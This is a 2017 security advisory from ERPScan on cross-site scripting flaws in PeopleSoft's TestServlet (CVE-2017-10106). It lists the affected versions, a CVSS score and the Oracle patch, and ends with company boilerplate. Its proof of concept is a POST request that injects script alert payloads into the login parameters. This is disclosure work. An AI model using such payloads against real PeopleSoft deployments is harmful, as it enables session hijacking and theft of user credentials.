PeopleSoft ToolsRelease 8.55.03 / ToolsReleaseDB 8.55 / HCM 9.2 XSS

`1. ADVISORY INFORMATION  
Title: Multiple XSS (POST request) Vulnerabilities in TestServlet (PeopleSoft)  
Advisory ID: [ERPSCAN-17-037]  
Advisory URL: https://erpscan.com/advisories/erpscan-17-037-multiple-xss-vulnerabilities-testservlet-peoplesoft/  
Risk: Medium  
Date published: 18.07.2017  
Vendor contacted: Oracle  
  
2. VULNERABILITY INFORMATION  
Class: XSS [CWE-79]  
Impact: Modify displayed content from a Web site, steal authentication  
information of a user  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
CVE Name: CVE-2017-10106  
  
CVSS Information  
CVSS Base Score v3: 6.1 / 10  
CVSS Base Vector:  
  
AV: Attack Vector (Related exploit range) Network (N)  
AC: Attack Complexity (Required attack complexity) Low (L)  
PR: Privileges Required (Level of privileges needed to exploit) None (N)  
UI: User Interaction (Required user participation) Required (R)  
S: Scope (Change in scope due to impact caused to components beyond  
the vulnerable component) Changed (C)  
C: Impact to Confidentiality Low (L)  
I: Impact to Integrity Low (L)  
A: Impact to Availability None (N)  
  
3. VULNERABILITY DESCRIPTION  
An attacker can use a special HTTP request to hijack session data of  
administrators or users of the web resource.  
  
4. VULNERABLE PACKAGES  
ToolsRelease: 8.55.03  
ToolsReleaseDB: 8.55  
PeopleSoft HCM 9.2  
  
# Component: com.peoplesoft.pt.portlet.service.test.TestServlet  
  
$ md5sum pspc.war/WEB-INF/classes/com/peoplesoft/pt/portlet/service/test/TestServlet.class  
16634cea4be75869127b76cfc627f894  
pspc.war/WEB-INF/classes/com/peoplesoft/pt/portlet/service/test/TestServlet.class  
  
5. SOLUTIONS AND WORKAROUNDS  
To correct this vulnerability, implement Oracle CPU July 2017  
(http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html)  
  
6. AUTHOR  
Dmitri Iudin aka @ret5et  
  
7. TECHNICAL DESCRIPTION  
7.1. Proof of Concept  
PoC  
"""  
POST /pspc/test?userID=<script>alert(1)</script>&password=<script>alert(2)</script>&languageCode==<script>alert(5)</script>&siteName=<script>alert(3)</script>&CREFName=<script>alert(4)</script>&portalName=<script>alert(6)</script>&command=login  
HTTP/1.1  
Host: 172.16.2.230:8000  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0 twitter:@ret5et  
Accept-Encoding: gzip, deflate  
Content-Length: 0  
  
"""  
  
8. REPORT TIMELINE  
reported to the vendor - 2017-01-26  
Date published: 18.07.2017  
  
  
9. ABOUT ERPScan Research  
  
The companyas expertise is based on the research subdivision of  
ERPScan, which is engaged in vulnerability research and analysis of  
critical enterprise applications. It has achieved multiple  
acknowledgments from the largest software vendors like SAP, Oracle,  
Microsoft, IBM, VMware, HP for exposing in excess of 400  
vulnerabilities in their solutions (200 of them just in SAP!).  
  
ERPScan researchers are proud to expose new types of vulnerabilities  
(TOP 10 Web hacking techniques 2012) and were nominated for best  
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ERPScan experts have been invited to speak, present and train at 60+  
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ERPScan researchers lead project EAS-SEC, which is focused on  
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ERPScan experts have been interviewed by leading media resources and  
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We have highly qualified experts in staff with experience in many  
different fields of security, from web applications and  
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accumulating their experience to conduct research in SAP system  
security.  
  
ABOUT ERPScan  
  
ERPScan is one of the most respected and credible Business Application  
Security provider. Founded in 2010, the company operates globally.  
Named as an aEmerging vendora in Security by CRN and distinguished by  
more than 25 other awards - ERPScan is the leading SAP AG partner in  
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consultants work with SAP AG in Walldorf supporting in improving  
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ERPScanas primary mission is to close the gap between technical and  
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We use afollow the suna principle and function in two hubs, located in  
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customer support.  
  
Address USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301  
Phone: 650.798.5255  
Twitter: @erpscan  
Scoop-it: Business Application Security  
`